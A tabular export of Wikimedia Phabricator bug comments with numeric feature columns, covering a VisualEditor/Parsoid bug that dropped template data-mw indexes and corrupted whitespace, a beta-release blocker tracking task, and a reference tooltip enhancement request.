It will do nothing for multi-transclusion content (table start / row etc), and will also fail if the template was swapped out for another one. The latter case should be rare.",,,1373561945,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,1.0,10.0,1.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,1.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,2.0,0.0,3.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,8.0,3.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,4.068181818181818,0.6931818181818182,"The Parsoid workaround above is now deployed. If the index went missing in VE, it assumes that a single-transclusion target was not swapped out and reinserts the lost index in that case. This should avoid corruptions in the common single-template case.

It will do nothing for multi-transclusion content (table start / row etc), and will also fail if the template was swapped out for another one. The latter case should be rare."
231453,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 73187 merged by jenkins-bot:
Workaround for VE bug 51150

https://gerrit.wikimedia.org/r/73187",,,1373561592,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1875,1.0,"Change 73187 merged by jenkins-bot:
Workaround for VE bug 51150

GERRIT_URL"
231446,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Change 73187 had a related patch set uploaded by GWicke:
Workaround for VE bug 51150

https://gerrit.wikimedia.org/r/73187",,,1373561010,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,1.0,"Change 73187 had a related patch set uploaded by GWicke:
Workaround for VE bug 51150

GERRIT_URL"
231438,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"Example on http://www.mediawiki.org/wiki/User:GWicke/TestDataMW?veaction=edit:

Original data-mw:
data-mw='{""target"":{""wt"":""echo"",""href"":""../Template:Echo""},""params"":{""1"":{""wt"":""foo""}},""i"":0}'

data-mw through VE without edit:
data-mw=""{&quot;target&quot;:{&quot;wt&quot;:&quot;echo&quot;,&quot;href&quot;:&quot;../Template:Echo&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;foo&quot;}},&quot;i&quot;:0}""

data-mw through VE after changing 'foo' to 'bar':
data-mw=""{&quot;target&quot;:{&quot;wt&quot;:&quot;echo&quot;,&quot;href&quot;:&quot;../Template:Echo&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;bar&quot;}}}""

Note that the ""i"" member is gone.",,,1373555079,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,12.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,9.0,10.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.717948717948718,0.48717948717948717,"Example on URL

Original data-mw:
data-mw='{""target"":{""wt"":""echo"",""href"":""../Template:Echo""},""params"":{""1"":{""wt"":""foo""}},""i"":0}'

data-mw through VE without edit:
data-mw=""{&quot;target&quot;:{&quot;wt&quot;:&quot;echo&quot;,&quot;href&quot;:&quot;../Template:Echo&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;foo&quot;}},&quot;i&quot;:0}""

data-mw through VE after changing 'foo' to 'bar':
data-mw=""{&quot;target&quot;:{&quot;wt&quot;:&quot;echo&quot;,&quot;href&quot;:&quot;../Template:Echo&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;bar&quot;}}}""

Note that the ""i"" member is gone."
231433,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,Aha. Gotcha.,,,1373554659,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,0.75,Aha. Gotcha.
231428,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"(In reply to comment #4)
> https://en.wikipedia.org/w/index.php?title=Christchurch,
> _Dorset&diff=prev&oldid=563716751
> appears to be a pre-deployment occurrence.

This is post-Parsoid deployment.",,,1373554601,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1363636363636362,0.8181818181818182,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE

This is post-Parsoid deployment."
231423,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"It is either data-mw.i or data-mw.parts[<n>].i for templates. It is not new, but so far we have not used that information that heavily, so the fact that you drop the i probably fell under the radar. We use it to associate the public entry with private round-trip information such as the order of parameters and (crucially for this bug) whitespace.

echo -e '{{echo|a   = foo\n|b   = c}}| node parse 
<body><p about=""#mwt1"" typeof=""mw:Transclusion"" data-mw='{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""a"":{""wt"":""foo""},""b"":{""wt"":""c""}},""i"":0}' data-parsoid='{""dsr"":[0,27,null,null],""src"":""{{echo|a   = foo\n|b   = c}}"",""pi"":[[{""k"":""a"",""spc"":["""",""   "","" "",""\n""]},{""k"":""b"",""spc"":["""",""   "","" "",""""]}]]}'>{{{1}}}</p>
</body>",,,1373554563,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,1.0,3.5,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,1.5,0.0,3.5,4.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,14.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,2.5,1.0,2.5,3.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,3.5,4.5,2.5,0.0,13.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,4.051311728395062,0.5764660493827161,"It is either data-mw.i or data-mw.parts[<n>].i for templates. It is not new, but so far we have not used that information that heavily, so the fact that you drop the i probably fell under the radar. We use it to associate the public entry with private round-trip information such as the order of parameters and (crucially for this bug) whitespace.

echo -e '{{echo|a   = foo\n|b   = c}}| node parse 
<body><p about=""#mwt1"" typeof=""mw:Transclusion"" data-mw='{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""a"":{""wt"":""foo""},""b"":{""wt"":""c""}},""i"":0}' data-parsoid='{""dsr"":[0,27,null,null],""src"":""{{echo|a   = foo\n|b   = c}}"",""pi"":[[{""k"":""a"",""spc"":["""",""   "","" "",""\n""]},{""k"":""b"",""spc"":["""",""   "","" "",""""]}]]}'>{{{1}}}</p>
</body>"
231419,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"https://en.wikipedia.org/w/index.php?title=Christchurch,_Dorset&diff=prev&oldid=563716751 appears to be a pre-deployment occurrence.",,,1373554450,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,URL appears to be a pre-deployment occurrence.
231415,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,*** Bug 51161 has been marked as a duplicate of this bug. ***,,,1373554368,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51161 has been marked as a duplicate of this bug. ***
231410,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"I can't reproduce this, even if I edit the template. VE preserves unmodified data-mw attributes always.

Also, what is data-mw.i ? Is it new?",,,1373507539,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,14.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,3.0,6.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.4,0.8285714285714286,"I can't reproduce this, even if I edit the template. VE preserves unmodified data-mw attributes always.

Also, what is data-mw.i ? Is it new?"
231407,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,This then causes diffs like http://en.wikipedia.org/w/index.php?title=Bj%C3%B6rk&diff=563745216&oldid=563123196,,,1373505675,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,This then causes diffs like URL
52848,VisualEditor/Parsoid: Beta release to en.wp IP users - blocking issues (tracking),"This is a tracking bug only for blocker-level issues before the planned release of the VisualEditor beta to IP users on English Wikipedia. Please only add blocker-level issues (e.g. content corruption); ultimately, what qualifies as ""blocker"" is at the discretion of James Forrester, VisualEditor PM.

--------------------------
**Version**: unspecified
**Severity**: blocker",Unbreak Now!,100.0,1373067660,1373916884.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-ldrbm7zdbq6hmivijiqq,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,16.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.328947368421052,0.6842105263157895,"This is a tracking bug only for blocker-level issues before the planned release of the VisualEditor beta to IP users on English Wikipedia. Please only add blocker-level issues (e.g. content corruption); ultimately, what qualifies as ""blocker"" is at the discretion of James Forrester, VisualEditor PM.

--------------------------
**Version**: unspecified
**Severity**: blocker"
513031,VisualEditor/Parsoid: Beta release to en.wp IP users - blocking issues (tracking),[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343623,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ldrbm7zdbq6hmivijiqq,task_subcomment,,True,c1,3,True,,,111,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,4.0,1.0,[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366]
238714,VisualEditor/Parsoid: Beta release to en.wp IP users - blocking issues (tracking),"The aspects of bug 50747 that were wanted have now been done; bug 51152 has not, but was a soft-blocker rather than a hard-blocker.",,,1373916884,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ldrbm7zdbq6hmivijiqq,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4838709677419355,0.8709677419354839,"The aspects of bug 50747 that were wanted have now been done; bug 51152 has not, but was a soft-blocker rather than a hard-blocker."
52768,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"It is possible to have a tooltip that will tell you what a reference is when you hover over the number in edit mode, as it currently does in viewing? It is inconvenient to editors to have to go into the references mode to view the source while editing.

(Request from En Wikipedia)

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://www.mediawiki.org/wiki/VisualEditor/Design/Reference_Dialog
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50110",Unbreak Now!,100.0,1372968840,1395701666.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,3.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,1.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,13.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,13.0,2.0,1.0,0.0,0.0,5.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.536842105263158,0.5894736842105263,"It is possible to have a tooltip that will tell you what a reference is when you hover over the number in edit mode, as it currently does in viewing? It is inconvenient to editors to have to go into the references mode to view the source while editing.

(Request from En Wikipedia)

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL
**See Also**:
URL"
233895,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"Change 119913 merged by jenkins-bot:
Ultra-mega-hyper-citation editing on crack

https://gerrit.wikimedia.org/r/119913",,,1395689849,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8571428571428571,"Change 119913 merged by jenkins-bot:
Ultra-mega-hyper-citation editing on crack

GERRIT_URL"
233890,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"Change 119913 had a related patch set uploaded by Jforrester:
Ultra-mega-hyper-citation editing on crack

https://gerrit.wikimedia.org/r/119913",,,1395363046,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9166666666666666,"Change 119913 had a related patch set uploaded by Jforrester:
Ultra-mega-hyper-citation editing on crack

GERRIT_URL"
233885,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,Yes. Hopefully this will be PTR later this week.,,,1394036852,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.8181818181818182,Yes. Hopefully this will be PTR later this week.
233879,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"This has been highest priority for four months now... 
Does that still reflect reality?",,,1394027803,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.352941176470588,1.0,"This has been highest priority for four months now... 
Does that still reflect reality?"
233871,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"The bug as was written is the highest priority enhancement in VisualEditor and we've been working on it since October.

The change in title and comment 3 reflect a further ambition for this area which will be addressed once this bug is fixed, and should be split off at some point.",,,1390411348,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,29,,2.0,0.0,0.0,7.0,0.0,4.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,16.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,11.0,7.0,4.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,16.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,4.142857142857143,0.8392857142857143,"The bug as was written is the highest priority enhancement in VisualEditor and we've been working on it since October.

The change in title and comment 3 reflect a further ambition for this area which will be addressed once this bug is fixed, and should be split off at some point."
233865,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"JamesF: This has been highest priority since 2013-11-08. 
Any news or updates here?",,,1390406910,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,29,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.380952380952381,0.9523809523809523,"JamesF: This has been highest priority since 2013-11-08. 
Any news or updates here?"
